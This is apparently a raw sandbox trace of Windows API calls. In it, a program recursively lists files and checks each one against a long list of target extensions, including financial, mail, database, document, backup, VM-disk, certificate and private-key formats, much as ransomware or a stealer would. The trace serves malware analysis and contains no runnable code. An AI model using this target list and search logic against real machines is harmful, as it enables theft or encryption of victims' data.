[0103.409] lstrlenA (lpString="*.qbo") returned 5 [0103.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.qbx") returned 0 [0103.409] lstrlenA (lpString="*.qbx") returned 5 [0103.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.qba") returned 0 [0103.409] lstrlenA (lpString="*.qba") returned 5 [0103.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.qby") returned 0 [0103.409] lstrlenA (lpString="*.qby") returned 5 [0103.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.qbj") returned 0 [0103.409] lstrlenA (lpString="*.qbj") returned 5 [0103.409] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.ofx") returned 0 [0103.410] lstrlenA (lpString="*.ofx") returned 5 [0103.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.qif") returned 0 [0103.410] lstrlenA (lpString="*.qif") returned 5 [0103.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.mye") returned 0 [0103.410] lstrlenA (lpString="*.mye") returned 5 [0103.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.mbox") returned 0 [0103.410] lstrlenA (lpString="*.mbox") returned 6 [0103.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.eml") returned 0 [0103.410] lstrlenA (lpString="*.eml") returned 5 [0103.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.pst") returned 0 [0103.410] lstrlenA (lpString="*.pst") returned 5 [0103.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.ost") returned 0 [0103.410] lstrlenA (lpString="*.ost") returned 5 [0103.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.idx") returned 0 [0103.410] lstrlenA (lpString="*.idx") returned 5 [0103.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.dbx") returned 0 [0103.410] lstrlenA (lpString="*.dbx") returned 5 [0103.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.sql") returned 0 [0103.411] lstrlenA (lpString="*.sql") returned 5 [0103.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.mdb") returned 0 [0103.411] lstrlenA (lpString="*.mdb") returned 5 [0103.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.fdb") returned 0 [0103.411] lstrlenA (lpString="*.fdb") returned 5 [0103.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.wab") returned 0 [0103.411] lstrlenA (lpString="*.wab") returned 5 [0103.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.dat") returned 0 [0103.411] lstrlenA (lpString="*.dat") returned 5 [0103.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.txt") returned 0 [0103.411] lstrlenA (lpString="*.txt") returned 5 [0103.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.jpeg") returned 0 [0103.411] lstrlenA (lpString="*.jpeg") returned 6 [0103.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.jpg") returned 0 [0103.411] lstrlenA (lpString="*.jpg") returned 5 [0103.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.png") returned 0 [0103.411] lstrlenA (lpString="*.png") returned 5 [0103.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.php") returned 0 [0103.412] lstrlenA (lpString="*.php") returned 5 [0103.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.cs") returned 0 [0103.412] lstrlenA (lpString="*.cs") returned 4 [0103.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.cpp") returned 0 [0103.412] lstrlenA (lpString="*.cpp") returned 5 [0103.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.rar") returned 0 [0103.412] lstrlenA (lpString="*.rar") returned 5 [0103.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.zip") returned 0 [0103.412] lstrlenA (lpString="*.zip") returned 5 [0103.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.html") returned 0 [0103.412] lstrlenA (lpString="*.html") returned 6 [0103.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.htm") returned 0 [0103.412] lstrlenA (lpString="*.htm") returned 5 [0103.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.xlsx") returned 0 [0103.412] lstrlenA (lpString="*.xlsx") returned 6 [0103.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.xls") returned 0 [0103.412] lstrlenA (lpString="*.xls") returned 5 [0103.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.mp4") returned 0 [0103.412] lstrlenA (lpString="*.mp4") returned 5 [0103.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.ppt") returned 0 [0103.413] lstrlenA (lpString="*.ppt") returned 5 [0103.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.pptx") returned 0 [0103.413] lstrlenA (lpString="*.pptx") returned 6 [0103.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.doc") returned 0 [0103.413] lstrlenA (lpString="*.doc") returned 5 [0103.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.dot") returned 0 [0103.413] lstrlenA (lpString="*.dot") returned 5 [0103.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.docx") returned 0 [0103.413] lstrlenA (lpString="*.docx") returned 6 [0103.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.7z") returned 0 [0103.413] lstrlenA (lpString="*.7z") returned 4 [0103.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.tar") returned 0 [0103.413] lstrlenA (lpString="*.tar") returned 5 [0103.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.bz2") returned 0 [0103.413] lstrlenA (lpString="*.bz2") returned 5 [0103.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.gz") returned 0 [0103.414] lstrlenA (lpString="*.gz") returned 4 [0103.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.mkv") returned 0 [0103.414] lstrlenA (lpString="*.mkv") returned 5 [0103.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.eml") returned 0 [0103.414] lstrlenA (lpString="*.eml") returned 5 [0103.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.msg") returned 0 [0103.414] lstrlenA (lpString="*.msg") returned 5 [0103.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.edb") returned 0 [0103.414] lstrlenA (lpString="*.edb") returned 5 [0103.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.accdb") returned 0 [0103.414] lstrlenA (lpString="*.accdb") returned 7 [0103.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.odb") returned 0 [0103.414] lstrlenA (lpString="*.odb") returned 5 [0103.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.java") returned 0 [0103.414] lstrlenA (lpString="*.java") returned 6 [0103.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.asm") returned 0 [0103.414] lstrlenA (lpString="*.asm") returned 5 [0103.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.pfx") returned 0 [0103.414] lstrlenA (lpString="*.pfx") returned 5 [0103.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.pem") returned 0 [0103.415] lstrlenA (lpString="*.pem") returned 5 [0103.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.p12") returned 0 [0103.415] lstrlenA (lpString="*.p12") returned 5 [0103.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.gpg") returned 0 [0103.415] lstrlenA (lpString="*.gpg") returned 5 [0103.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.vsd") returned 0 [0103.415] lstrlenA (lpString="*.vsd") returned 5 [0103.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.odg") returned 0 [0103.415] lstrlenA (lpString="*.odg") returned 5 [0103.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.raw") returned 0 [0103.415] lstrlenA (lpString="*.raw") returned 5 [0103.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.nef") returned 0 [0103.415] lstrlenA (lpString="*.nef") returned 5 [0103.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.svg") returned 0 [0103.415] lstrlenA (lpString="*.svg") returned 5 [0103.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.psd") returned 0 [0103.415] lstrlenA (lpString="*.psd") returned 5 [0103.415] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.vmx") returned 0 [0103.416] lstrlenA (lpString="*.vmx") returned 5 [0103.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.vmdk") returned 0 [0103.416] lstrlenA (lpString="*.vmdk") returned 6 [0103.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.vdi") returned 0 [0103.416] lstrlenA (lpString="*.vdi") returned 5 [0103.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.lay6") returned 0 [0103.416] lstrlenA (lpString="*.lay6") returned 6 [0103.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.mpeg") returned 0 [0103.416] lstrlenA (lpString="*.mpeg") returned 6 [0103.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.djvu") returned 0 [0103.416] lstrlenA (lpString="*.djvu") returned 6 [0103.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.tiff") returned 0 [0103.416] lstrlenA (lpString="*.tiff") returned 6 [0103.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.backup") returned 0 [0103.416] lstrlenA (lpString="*.backup") returned 8 [0103.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.pdf") returned 0 [0103.416] lstrlenA (lpString="*.pdf") returned 5 [0103.416] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.cert") returned 0 [0103.417] lstrlenA (lpString="*.cert") returned 6 [0103.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.docm") returned 0 [0103.417] lstrlenA (lpString="*.docm") returned 6 [0103.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.xlsm") returned 0 [0103.417] lstrlenA (lpString="*.xlsm") returned 6 [0103.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.dwg") returned 0 [0103.417] lstrlenA (lpString="*.dwg") returned 5 [0103.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.nd") returned 0 [0103.417] lstrlenA (lpString="*.nd") returned 4 [0103.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.tlg") returned 0 [0103.417] lstrlenA (lpString="*.tlg") returned 5 [0103.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.lgb") returned 0 [0103.417] lstrlenA (lpString="*.lgb") returned 5 [0103.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.mov") returned 0 [0103.417] lstrlenA (lpString="*.mov") returned 5 [0103.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.xdw") returned 0 [0103.417] lstrlenA (lpString="*.xdw") returned 5 [0103.417] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.ods") returned 0 [0103.417] lstrlenA (lpString="*.ods") returned 5 [0103.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.wav") returned 0 [0103.418] lstrlenA (lpString="*.wav") returned 5 [0103.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.mp3") returned 0 [0103.418] lstrlenA (lpString="*.mp3") returned 5 [0103.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.aiff") returned 0 [0103.418] lstrlenA (lpString="*.aiff") returned 6 [0103.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.flac") returned 0 [0103.418] lstrlenA (lpString="*.flac") returned 6 [0103.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.m4a") returned 0 [0103.418] lstrlenA (lpString="*.m4a") returned 5 [0103.418] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Vsa\\a415a146afc72f13f691f69a11ab5609\\Microsoft.Vsa.ni.dll", pszSpec="*.csv") returned 0 [0103.418] lstrlenA (lpString="*.csv") returned 5 [0103.418] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ecc7259, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ecc7259, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ecc7259, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Vsa.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.418] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.418] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ed3967a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ed3967a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ed3967a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a415a146afc72f13f691f69a11ab5609", cAlternateFileName="A415A1~1")) returned 0 [0103.418] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0103.419] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d12529e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e07805a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e07805a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Windows.D#", cAlternateFileName="MICROS~1.D#")) returned 1 [0103.419] lstrcmpA (lpString1=".", lpString2="Microsoft.Windows.D#") returned -1 [0103.419] lstrcmpA (lpString1="..", lpString2="Microsoft.Windows.D#") returned -1 [0103.419] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0103.419] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="Microsoft.Windows.D#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#" [0103.419] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#") returned 67 [0103.419] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d12529e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e07805a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e07805a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0103.423] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.423] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d12529e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6e07805a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6e07805a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.423] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.423] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.423] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d5e7ea7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d5e7ea7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d5e7ea7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0a5d39e601d2512b483a56408c3cec05", cAlternateFileName="0A5D39~1")) returned 1 [0103.423] lstrcmpA (lpString1=".", lpString2="0a5d39e601d2512b483a56408c3cec05") returned -1 [0103.423] lstrcmpA (lpString1="..", lpString2="0a5d39e601d2512b483a56408c3cec05") returned -1 [0103.423] PathFindFileNameA 